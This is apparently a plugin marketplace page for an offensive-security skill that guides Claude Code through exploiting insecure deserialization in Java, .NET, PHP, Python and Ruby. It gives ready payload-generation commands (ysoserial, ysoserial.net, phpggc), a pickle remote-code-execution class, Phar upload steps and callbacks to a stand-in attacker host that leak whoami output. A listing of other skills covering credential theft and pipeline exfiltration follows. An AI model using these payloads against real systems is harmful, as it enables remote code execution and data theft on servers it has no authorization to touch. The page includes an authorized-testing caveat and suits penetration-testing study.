/secskills-offense:exploiting-deserializationfrom secskills-offense
Exploits insecure deserialization in Java, .NET, PHP, Python, and Ruby by recognizing serialized formats, finding gadget chains, and detecting blind cases via DNS or timing.
Ships in secskills-offense. Installing the plugin adds it to Claude Code.
What the skill costs in Claude's context, stage by stage
Name and description: Claude knows it exists.
SKILL.md joins the conversation and stays.
None: SKILL.md is the whole skill.
Deserialization turns attacker-controlled bytes into live objects with attacker-chosen types. The vulnerability is not the parsing — it is that constructing those objects runs code paths the developer never intended. The work is recognizing the format, then finding a gadget chain in the libraries that happen to be on the classpath.
Only against systems you are authorized to test.
readObject, unserialize, pickle.loads,
Marshal.load, BinaryFormatter, yaml.load, or ObjectInputStreamtesting-web-applicationsauditing-code-for-vulnerabilities; return here for exploitationanalyzing-malwareMagic bytes identify the runtime, and the runtime decides the entire approach.
| Encoding | Base64 prefix | Raw bytes | Runtime |
|---|---|---|---|
| Java serialization | rO0AB | AC ED 00 05 | Java |
.NET BinaryFormatter | AAEAAAD///// | 00 01 00 00 00 FF FF FF FF | .NET |
.NET LosFormatter/ViewState | often /wEP | — | ASP.NET |
PHP serialize() | Tzo, YTo | O: , a: | PHP |
| Python pickle | gAJ, gASV, KGRw | 80 04, 80 02, (dp | Python |
| Ruby Marshal | BAh | 04 08 | Ruby |
Java Hessian/Burlap | Yw | 63/48 | Java |
| YAML with tags | — | !!python/object, !ruby/object | Multiple |
# Decode anything suspicious you find
echo 'rO0ABXNyABNq...' | base64 -d | xxd | head -3
# Java: readable class names appear in the stream
echo '<b64>' | base64 -d | strings | head -20
Java streams contain the class names in plaintext, which tells you both that it is deserialization and which libraries are in play.
# Generate a payload for a gadget chain present on the target's classpath
java -jar ysoserial.jar CommonsCollections6 'curl http://attacker/$(whoami)' | base64 -w0
java -jar ysoserial.jar CommonsBeanutils1 'ping -c1 attacker.example' | base64 -w0
# Blind detection first — URLDNS needs no gadget library at all
java -jar ysoserial.jar URLDNS 'http://<unique>.oast.example' | base64 -w0
Always start with URLDNS. It uses only JDK classes, so it works whenever
deserialization happens at all, regardless of what libraries are present. A DNS
hit confirms the vulnerability; only then is it worth guessing gadget chains.
Then determine the classpath to pick a chain:
gadgetprobe (Burp) — sends probes that reveal which classes exist by the
difference in error behaviourCommon chains and what they need: CommonsCollections1–7 (commons-collections
3.x/4.x), CommonsBeanutils1, Spring1/2, Groovy1, Hibernate1,
Jdk7u21 (no library needed, but a narrow JDK range), ROME, C3P0.
Beyond raw serialization: Java deserialization also reaches through JNDI. A gadget that triggers a JNDI lookup with an attacker URL gives remote class loading (the Log4Shell mechanism). Newer JDKs restrict this, so check the version before assuming it works.
# ysoserial.net — formatter matters as much as the gadget
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc.exe"
ysoserial.exe -f Json.Net -g ObjectDataProvider -c "cmd /c whoami > c:\\temp\\o"
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -c "..." \
--generator=<viewstate-generator> --validationkey=<key> --validationalg=SHA1
Vulnerable formatters: BinaryFormatter, LosFormatter, NetDataContractSerializer,
ObjectStateFormatter, SoapFormatter, and Json.NET/XmlSerializer when
TypeNameHandling is not None. That last case is the most common in modern
code: TypeNameHandling.All or .Objects lets the JSON specify its own $type,
which is deserialization by another name.
rg -n 'TypeNameHandling|BinaryFormatter|LosFormatter|NetDataContractSerializer' --type cs
ViewState is the classic ASP.NET case. Exploitable when the MAC key is
known (leaked web.config, a known default, or enableViewStateMac="false" on
old versions). Extract validationKey and decryptionKey first — without them
the payload is rejected.
// The magic methods that fire during and after unserialize
__wakeup(), __destruct(), __toString(), __call(), __get()
# Find a chain: PHPGGC covers the common frameworks
phpggc Laravel/RCE9 system 'id'
phpggc Monolog/RCE2 system 'id' -b # base64 output
phpggc -l # list available chains
# Phar deserialization: any file-system function on a phar:// path triggers
# unserialize of the phar metadata — file_exists, filesize, is_dir, etc.
phpggc Monolog/RCE2 system 'id' -p phar -o payload.phar
# then get it uploaded and reference it as phar://uploaded.jpg/x
Phar is the underrated vector: it turns any filesystem call on an
attacker-influenced path into deserialization, with no obvious unserialize()
in the code.
# Pickle is arbitrary code execution by design — it is not a parser bug
import pickle, base64, os
class RCE:
def __reduce__(self):
return (os.system, ('id',))
print(base64.b64encode(pickle.dumps(RCE())).decode())
Also check: yaml.load() without SafeLoader (!!python/object/apply:os.system),
jsonpickle, dill, shelve, numpy.load with allow_pickle=True, and any
ML model format that is pickle-backed — see securing-ai-systems.
# Marshal.load on untrusted input; gadget chains exist for Rails and common gems
# universal_pwn / Rails deserialization chains cover the usual cases
Also: YAML.load (pre-Psych-4 defaults), and Rails cookie stores where the
secret_key_base has leaked.
Most real cases give no output. Confirm before investing in a chain.
# 1. DNS/HTTP callback — the primary confirmation
# Java URLDNS, PHP with a chain that fetches a URL, Python os.system('curl ...')
# 2. Timing — a sleep gadget proves execution when egress is blocked
# 'sleep 10' / 'ping -n 11 127.0.0.1'
# 3. Error differential — a malformed object vs a well-formed one of the wrong
# type produces different exceptions, confirming parsing without execution
An out-of-band interaction proves deserialization occurred. That alone is the finding; escalating to a full shell is often unnecessary and increases risk.
Beyond the obvious request parameter:
EhcacheThe queue and cache cases are the most valuable, because the consumer is usually a backend service with more privilege than the web tier — and nobody proxies it.
unserialize() call." PHP: check for Phar. Java: check RMI,
JMX, and JNDI. .NET: check TypeNameHandling.URLDNS confirms
deserialization independent of the classpath. Confirm first, chain second.Generated from secskills-core/ttp-index.json — edit that file, then run
python3 scripts/sync_attack.py --write. Re-verify IDs against the
current ATT&CK release before citing them in a report.
Initial Access (TA0001)
testing-web-applications, testing-apis, enumerating-network-services, attacking-graphql, attacking-grpc-protobuf, exploiting-ssrf, exploiting-xxeDetection content for any of these: engineering-detections. Proactive search: hunting-threats. Post-compromise: responding-to-incidents.
auditing-code-for-vulnerabilities — finding the sinks in sourcetesting-web-applications — the surrounding web methodologysecuring-ai-systems — pickle-backed model formatsreporting-security-findings — severity when only blind confirmation existsWhat SKILL.md sets; muted values are Claude Code's defaults
npx claudepluginhub gztes/security-for-platforms --plugin trilwu-secskills-offense40 skills in this plugin
/abusing-adcsEnumerate and abuse Active Directory Certificate Services with Certipy and Certify — the ESC1 through ESC16 escalation paths, vulnerable template and CA configurations, NTLM relay to web enrollment, certificate-based authentication and persistence, and the strong-mapping changes that gate several of them. Use when a domain has a certificate authority, when Certipy or BloodHound reports vulnerable templates, or when escalating from a low-privilege domain user./abusing-ci-cd-oidcExploit CI/CD pipeline misconfigurations and OIDC federation weaknesses across GitHub Actions, GitLab CI, and Jenkins -- poisoned workflows, secret exfiltration, runner compromise, overly broad OIDC trust policies, build artifact poisoning, and credential theft. Use when pentesting CI/CD infrastructure, assessing OIDC federation trust boundaries, reviewing pipeline security posture, or exploiting a path from repository access to cloud credentials./attacking-active-directoryAttack and enumerate Active Directory environments using Kerberos attacks (Kerberoasting, ASREPRoasting), credential dumping (DCSync, Mimikatz), lateral movement (PtH, PtT), and BloodHound analysis. Use when pentesting Windows domains or exploiting AD misconfigurations./attacking-bluetooth-nfcAttack Bluetooth Classic, BLE, and NFC targets -- device enumeration, GATT characteristic exploitation, BLE MITM and replay, Ubertooth and nRF sniffing, MIFARE Classic cracking, Proxmark3 card cloning, NFC relay attacks, and access control bypass. Use when pentesting BLE peripherals or IoT devices, assessing NFC-based access controls or contactless payment security, testing Bluetooth pairing and authentication, or evaluating physical access card cloneability./attacking-eks-gke-aksAssess managed Kubernetes clusters on EKS, GKE, and AKS by exploiting the seams between cloud IAM and Kubernetes RBAC -- IRSA/OIDC trust abuse, Workload Identity Federation, pod-to-IMDS escalation, aws-auth ConfigMap takeover, node pool service account abuse, and AAD integration weaknesses. Use when pentesting a managed k8s cluster, reviewing RBAC in EKS/GKE/AKS, testing pod-to-cloud escalation, or assessing network policy enforcement across namespaces./attacking-entra-idAttack and enumerate Azure AD / Entra ID tenants — initial recon with AADInternals and ROADtools, password spraying, token theft (PRT, CAE, refresh tokens), application and service principal abuse, Conditional Access bypass, cross-tenant pivoting, hybrid identity attacks (PTA agent, Azure AD Connect), and managed identity abuse. Use when pentesting Entra ID tenants, assessing Azure AD security posture, or exploiting cloud identity misconfigurations.2 plugins ship this exact skill · first indexed Jul 31, 2026
Other plugins' skills for the same job